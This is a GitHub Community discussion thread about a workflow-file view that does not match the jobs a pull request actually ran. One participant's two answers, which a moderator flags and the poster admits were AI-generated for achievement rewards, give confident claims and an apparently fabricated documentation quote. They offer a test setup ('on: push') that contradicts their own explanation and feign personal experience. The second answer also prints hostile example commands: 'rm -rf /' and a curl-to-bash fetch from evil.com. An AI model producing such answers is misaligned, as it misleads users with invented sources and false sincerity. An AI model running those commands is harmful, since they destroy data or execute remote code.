"Workflow file for this run" shows config different from actual execution

[ggiuffre-noimos]

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Question

What GitHub Actions topic or product is this about?

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Discussion Details

A feature branch based off the default branch is now out of date with the default branch.

On the PR of this feature branch, the "Workflow file for this run" button leads me to a file that does not include a certain job. However, the side panel on the left of this file does show that this job ran, and that it failed.

Why does the "Workflow file for this run" show a certain YAML configuration, while the actual execution shows jobs that come from a different configuration?

[ggiuffre-noimos]

How does this answer my question?

[samus-aran]

Hi @RafaelGoncalves-bit,

We’ve clarified our stance on using generative AI tools like ChatGPT within our Community via this announcement. Please review the guidelines to ensure your post meets them as failure to adhere to those rules can result in action taken by our moderator team. You can read our updated Code of Conduct and the announcement for more details. Thank you for helping us maintain an authentic and beneficial space for everyone.

[abre0101]

Hey!

This is actually a common point of confusion with GitHub Actions, and it's caught me off guard a few times too.

What's happening:

When you trigger a workflow on a PR, GitHub Actions uses the workflow file from the base branch (usually main or develop), not from your feature branch. So even though your feature branch might have an older version of the workflow file, the actual execution is running with the updated workflow from the default branch.

Why it works this way:

This is by design for security reasons. If workflows ran from the PR branch, someone could open a malicious PR that modifies the workflow to steal secrets or do other nasty stuff. By running the workflow from the base branch, repo maintainers stay protected.

The confusing part:

The "Workflow file for this run" button shows you the file from your feature branch (where the code lives), but the actual execution uses the workflow from the base branch. That's why you're seeing jobs that aren't in the file you're looking at.

How to fix the confusion:

Merge or rebase - Update your feature branch with the latest from the default branch. This will sync up the workflow files.

Check the base branch - Look at the workflow file in your default branch (like main). That's what's actually running.

Use the right view - In the Actions tab, you can see which commit the workflow actually ran from. It should point to the base branch commit.

Quick example:

Your feature branch: workflow.yml (no "deploy" job)
Main branch: workflow.yml (has "deploy" job)
PR runs: Uses main branch version → "deploy" job runs
Hope this clears it up! Let me know if you're still seeing weird behavior after checking the base branch workflow.

[ggiuffre-noimos]

The "Workflow file for this run" button shows you the file from your feature branch (where the code lives), but the actual execution uses the workflow from the base branch. That's why you're seeing jobs that aren't in the file you're looking at.

Thank you, Abraham. How do you know for sure that the "Workflow file for this run" button shows the file from the feature branch? Can you point me to some documentation?

[abre0101]

Great question! Honestly, this tripped me up too when I first encountered it. That "Workflow file for this run" button feels like it's showing you what actually ran... but it's actually showing what you wanted to run.

The Short Answer
The button shows your feature branch version (because that's what you're currently looking at and editing), but GitHub runs the workflow from your base branch (usually main) for security reasons.

Why It Works This Way
Imagine you're reviewing a PR from someone you don't know. If GitHub ran their workflow file, they could put in malicious code like:

yaml

• run: rm -rf / # 😱
  or

yaml

• run: curl evil.com/steal-secrets.sh | bash
  GitHub protects you by saying: "We'll only run workflows that are already approved in your main branch."

The Documentation Proof
GitHub's docs actually say this pretty clearly:

"When you create a pull request, GitHub Actions runs the workflows from the base branch, not the head branch."

From: Triggering a workflow

The button shows your feature branch file because:

It's convenient - you can click to edit the file you're actually working on

It shows intent - you can see what changes you're proposing

It's consistent - all file links in PRs show the feature branch version

Think of It Like This
You're proposing changes to your company's employee handbook. The "View Handbook" button shows your proposed edits, but HR is still following the current official handbook until your changes get approved and merged.

How to Test This Yourself
Want to see it in action? Try this quick experiment:

In your main branch, create a workflow that just says:

yaml
name: Test
on: push
jobs:
main-job:
runs-on: ubuntu-latest
steps:
- run: echo "I'm from main branch!"
Create a feature branch with a completely different workflow:

yaml
name: Test
on: push
jobs:
feature-job:
runs-on: ubuntu-latest
steps:
- run: echo "I'm from feature branch!"
Open a PR and watch - you'll see the button shows your feature version, but the run actually executes the main branch workflow.

Why This Is Actually Good
Once you get used to it, this is protective, not problematic:

Security first - No random PR can hijack your CI/CD

Predictable - You know exactly what will run (your approved workflows)

Reviewable - You can see proposed workflow changes before they go live

The Gotcha Moment
We've all been there - you're staring at a workflow run thinking "Why isn't my new job running?!" only to realize... oh right, it's running the old workflow. The UI could definitely be clearer about this!

Bottom Line
That button is a "view what you're proposing" button, not a "view what ran" button. What actually runs is whatever's in your base branch's workflow file.

Hope that helps demystify it! It's one of those GitHub Actions quirks that makes total sense once you understand the security reasoning behind it.

[samus-aran]

Hi @abre0101,

We’ve clarified our stance on using generative AI tools like ChatGPT within our Community via this announcement. Please review the guidelines to ensure your post meets them as failure to adhere to those rules can result in action taken by our moderator team. You can read our updated Code of Conduct and the announcement for more details. Thank you for helping us maintain an authentic and beneficial space for everyone.

Twice (in this discussion alone) you have shown to use it without consideration of the output.

Great question! Honestly, this tripped me up too when I first encountered it. That "Workflow file for this run" button feels like it's showing you what actually ran... but it's actually showing what you wanted to run.

That sounds insincere because it is. Make sure what you share reflects your own understanding - it’s usually easy to tell when something was generated by AI and not written from real experience.

[abre0101]

ok sir,sorry for using ai ,i was doing that to get reward(achivement)

[samus-aran]

Achievements will no longer be available in the Community

People value authenticity, accuracy, and the effort you put into understanding their questions and conversations. Achievements matter less than the intention to help others and build a real, grounded reputation with your peers. I hope you take a moment to reflect on this and use AI as a way to build your knowledge, help others rather than a thing that defines your contributions. ❤️

[abre0101]

Ok sir,I have learned from my mistake sorry